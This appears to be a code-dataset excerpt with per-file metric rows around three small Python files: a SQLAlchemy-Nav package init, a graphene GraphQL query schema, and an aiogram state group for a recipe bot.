| 35.419355 | 79 | 0.744991 | 143 | 1,098 | 5.657343 | 0.461538 | 0.086527 | 0.098888 | 0.123609 | 0.217553 | 0.217553 | 0 | 0 | 0 | 0 | 0 | 0.007625 | 0.163934 | 1,098 | 30 | 80 | 36.6 | 0.873638 | 0.37796 | 0 | 0.125 | 1 | 0 | 0.014859 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
f5667ece8a87d320adf715b232e0f99d96ab7b47 | 609 | py | Python | build/lib/sqlalchemy_nav/__init__.py | dsbowen/sqlalchemy-nav | d60b28fe74cdde65de68a140d0c2845d92fb9b0f | [
"MIT"
] | 1 | 2019-10-02T10:49:10.000Z | 2019-10-02T10:49:10.000Z | build/lib/sqlalchemy_nav/__init__.py | dsbowen/sqlalchemy-nav | d60b28fe74cdde65de68a140d0c2845d92fb9b0f | [
"MIT"
] | null | null | null | build/lib/sqlalchemy_nav/__init__.py | dsbowen/sqlalchemy-nav | d60b28fe74cdde65de68a140d0c2845d92fb9b0f | [
"MIT"
] | null | null | null | """Mixins for SQLAlchemy-Nav
SQLAlchemy-Nav Mixins can be used to create dynamic navigation bar models
compatible with Bootstrap 4. Navigation bars can contain navigation
items, dropdown items, and custom html.
All models store their HTML in a `MutableSoup` attribute, `body`. This is
essentially a `BeautifulSoup` object which you can use to insert custom
HTML.
`Navitem`s are nested in `Navbar`s, and `Dropdownitem`s are nested in
`Navitem`s.
"""
from sqlalchemy_nav.navbar import NavbarMixin
from sqlalchemy_nav.navitem import NavitemMixin
from sqlalchemy_nav.dropdownitem import DropdownitemMixin | 35.823529 | 74 | 0.804598 | 88 | 609 | 5.534091 | 0.590909 | 0.13347 | 0.104723 | 0.049281 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001908 | 0.139573 | 609 | 17 | 75 | 35.823529 | 0.927481 | 0.737274 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
1921163110b72a91275f6fdad2b76c5feb17cda3 | 824 | py | Python | app/schema.py | rafiq10/rrhh_tdd_backend | fecbe4f3dd249b31f71e4b63904c565e207e45f9 | [
"bzip2-1.0.6"
] | null | null | null | app/schema.py | rafiq10/rrhh_tdd_backend | fecbe4f3dd249b31f71e4b63904c565e207e45f9 | [
"bzip2-1.0.6"
] | 2 | 2021-03-25T22:50:12.000Z | 2021-04-30T20:53:22.000Z | app/schema.py | rafiq10/rrhh_tdd_backend | fecbe4f3dd249b31f71e4b63904c565e207e45f9 | [
"bzip2-1.0.6"
] | null | null | null | from general.utils.json.json import json2obj
import json
from collections import namedtuple
import graphene
from graphene_sqlalchemy import SQLAlchemyObjectType
from db.db import engine, my_session
from general.schemas.schema import CountryModel, get_countries, UserModel, get_users
from config_combos.schema import CombosModel, get_combo_tables
class CustomQueries(graphene.ObjectType):
countries = graphene.List(CountryModel, country=graphene.String(required=False))
combo_tables = graphene.List(CombosModel)
users = graphene.List(UserModel)
def resolve_users(self, args=None):
return get_users()
def resolve_countries(self, info, country=''):
return get_countries(country)
def resolve_combo_tables(self, args=None):
return get_combo_tables()
schema = graphene.Schema(query = CustomQueries) | 30.518519 | 84 | 0.805825 | 104 | 824 | 6.230769 | 0.413462 | 0.067901 | 0.04321 | 0.055556 | 0.064815 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001376 | 0.117718 | 824 | 27 | 85 | 30.518519 | 0.889959 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.157895 | false | 0 | 0.421053 | 0.157895 | 0.947368 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 3 |
19481e0b3da2ff9febbd9a6ad167c0cc637028e9 | 200 | py | Python | app/states/state_ingredients.py | Katel212/MyPersonalKitchenBot | 03de0beeaf2665e8b3ddd1709da3d4edcd422b80 | [
"MIT"
] | null | null | null | app/states/state_ingredients.py | Katel212/MyPersonalKitchenBot | 03de0beeaf2665e8b3ddd1709da3d4edcd422b80 | [
"MIT"
] | 5 | 2020-12-22T17:53:05.000Z | 2021-04-07T20:00:47.000Z | app/states/state_ingredients.py | Katel212/MyPersonalKitchenBot | 03de0beeaf2665e8b3ddd1709da3d4edcd422b80 | [
"MIT"
] | null | null | null | from typing import List
from aiogram.dispatcher.filters.state import StatesGroup, State
class IngredientsForRecipe(StatesGroup):
ingredients = State()
kcal = State()
recipes = State()
| 18.181818 | 63 | 0.74 | 21 | 200 | 7.047619 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.18 | 200 | 10 | 64 | 20 | 0.902439 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.